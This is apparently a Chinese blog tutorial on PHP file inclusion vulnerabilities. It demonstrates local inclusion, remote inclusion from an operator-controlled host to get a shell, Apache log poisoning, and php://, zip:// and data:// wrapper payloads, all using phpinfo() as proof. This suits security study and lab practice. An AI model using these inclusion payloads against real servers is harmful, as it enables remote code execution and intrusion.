文件 包含

概念

把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。

原理

文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

1.本地文件包含(无视后缀)

创建文件包含:include.php

<?php
include("print.php");
?>

另创建print.php

<?php
echo "hello world!!!";
?>

在浏览器访问include.php

分别修改print.txt扩展名为:jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

2.远程文件包含getshell

1)目标机allow_url_include开启

2)编辑include.php,并上传至目标机网站根目录中

3)在本地网站根目录下新建phpinfo.php文件

4)远程包含shell

http://目标机ip/include.php?a=http://操作机ip/phpinfo.php

 3.apache日志文件包含

1)开启日志记录

打开apache安装目录下的conf/httpd.conf配置文件找到:

 CustomLog "logs/access.log" common 去掉前面的#号

 2)访问

http://本机ip/<?php phpinfo();?>

查看日志access.log 

发现符号被编码

利用Burpsuite抓包

将被编码的符号修改回去,并发送,再次查看日志

phpinfo已被写入

http://192.168.5.44/include.php?a=D:\phpStudy2018\PHPTutorial\Apache\logs\access.log

4.php封装伪协议

1)php流input

http://127.0.0.1/include.php?a=php://input

 2)php流filter

?a=php://filter/read=convert.base64-encode/resource=print.php

 3)zip://

先将要执行的php代码写好,在进行zip压缩(如果失败可将压缩后的zip改为jpg)

使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23

4)data://

命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)

http://127.0.0.1/include.php?a=data://text/plain,<?php phpinfo();?>

http://127.0.0.1/include.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 5)phar://

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值